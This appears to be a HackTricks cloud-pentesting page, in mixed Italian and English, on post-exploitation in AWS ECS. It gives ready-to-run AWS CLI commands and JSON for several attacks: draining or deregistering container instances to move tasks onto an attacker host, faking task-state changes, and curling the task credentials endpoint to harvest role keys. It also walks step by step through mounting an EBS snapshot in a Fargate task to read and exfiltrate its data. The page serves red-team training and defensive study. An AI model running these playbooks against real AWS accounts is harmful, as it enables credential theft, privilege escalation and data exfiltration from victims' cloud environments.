AWS - ECS Post Exploitation

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

ECS

Per maggiori informazioni consulta:

AWS - ECS Enum

Ruoli IAM dell’host

In ECS un IAM role can be assigned to the task in esecuzione all’interno del container. If il task è eseguito su un’istanza EC2, l’EC2 instance avrà another IAM role collegato.
Ciò significa che se riesci a compromise un’istanza ECS puoi potenzialmente obtain the IAM role associated to the ECR and to the EC2 instance. Per maggiori info su come ottenere queste credenziali consulta:

Cloud SSRF - HackTricks

Caution

IMDSv2 con hop limit impostato a 1 does not blocca i task awsvpc o host-networked — solo i Docker bridge tasks stanno sufficientemente lontani perché le risposte muoiano. Vedi ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation per il workflow completo dell’attacco e le note sui bypass. Recent Latacora research mostra che i task awsvpc e host continuano a recuperare le credenziali dell’host anche quando IMDSv2+h=1 è applicato.

Privesc to node to steal other containers creds & secrets

Tuttavia, EC2 usa docker per eseguire i ECS tasks, quindi se riesci a effettuare escape al nodo o ad access the docker socket, puoi check quali other containers sono in esecuzione, e perfino get inside of them e steal their IAM roles collegati.

Making containers run in current host

Inoltre, il EC2 instance role solitamente avrà sufficienti permissions per update the container instance state delle istanze EC2 usate come nodi nel cluster. Un attaccante potrebbe modificare lo state of an instance to DRAINING, allora ECS remove all the tasks from it e quelli eseguiti come REPLICA saranno run in a different instance, potenzialmente dentro l’attackers instance così da poter steal their IAM roles e eventuali informazioni sensibili presenti all’interno del container.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

La stessa tecnica può essere eseguita deregistrando l’EC2 instance dal cluster. Questo è potenzialmente meno furtivo ma costringerà i tasks a essere eseguiti su altre instances:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Una tecnica finale per forzare la riesecuzione delle task consiste nell’indicare a ECS che la task o il container è stato fermato. Ci sono 3 API potenziali per farlo:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Join the Cluster With an Attacker Host (Register Container Instance)

Un’altra variante (più diretta rispetto al draining) è aggiungere capacità sotto il tuo controllo al cluster registrando un’istanza EC2 come container instance (ecs:RegisterContainerInstance) e impostando gli attributi richiesti della container instance in modo che i placement constraints combacino. Una volta che i task vengono eseguiti sul tuo host, puoi ispezionare/eseguire comandi nei container e raccogliere le credenziali AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.

See the ECS privesc page section on ecs:RegisterContainerInstance for the full workflow.

Steal sensitive info from ECR containers

L’istanza EC2 probabilmente avrà anche il permesso ecr:GetAuthorizationToken che le consente di scaricare immagini (potresti cercare informazioni sensibili al loro interno).

Steal Task Role Credentials via ecs:ExecuteCommand

If ExecuteCommand is enabled on a task, a principal with ecs:ExecuteCommand + ecs:DescribeTasks can open a shell inside the running container and then query the task credentials endpoint to harvest the task role credentials:

  • From inside the container: curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
  • Use the returned AccessKeyId/SecretAccessKey/Token to call AWS APIs as the task role

See the ECS privilege escalation page for enumeration and command examples.

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Abusa dell’integrazione nativa ECS EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all’interno di un nuovo ECS task/service e leggere i dati dall’interno del container.

  • Needs (minimum):

  • ecs:RegisterTaskDefinition

  • One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole on:

  • ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenced by the task definition

  • If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.

Steps (Fargate example):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Registra una task definition con un volume marcato configuredAtLaunch e montalo nel container. Esempio (stampa il secret e poi rimane in esecuzione):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Crea o aggiorna un servizio passando lo snapshot EBS tramite volumeConfigurations.managedEBSVolume (richiede iam:PassRole sul ruolo infra). Esempio:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Quando il task si avvia, il container può leggere il contenuto dello snapshot nel percorso di mount configurato (ad es., /loot). Esfiltra tramite la rete/i log del task.

Pulizia:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Riferimenti

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks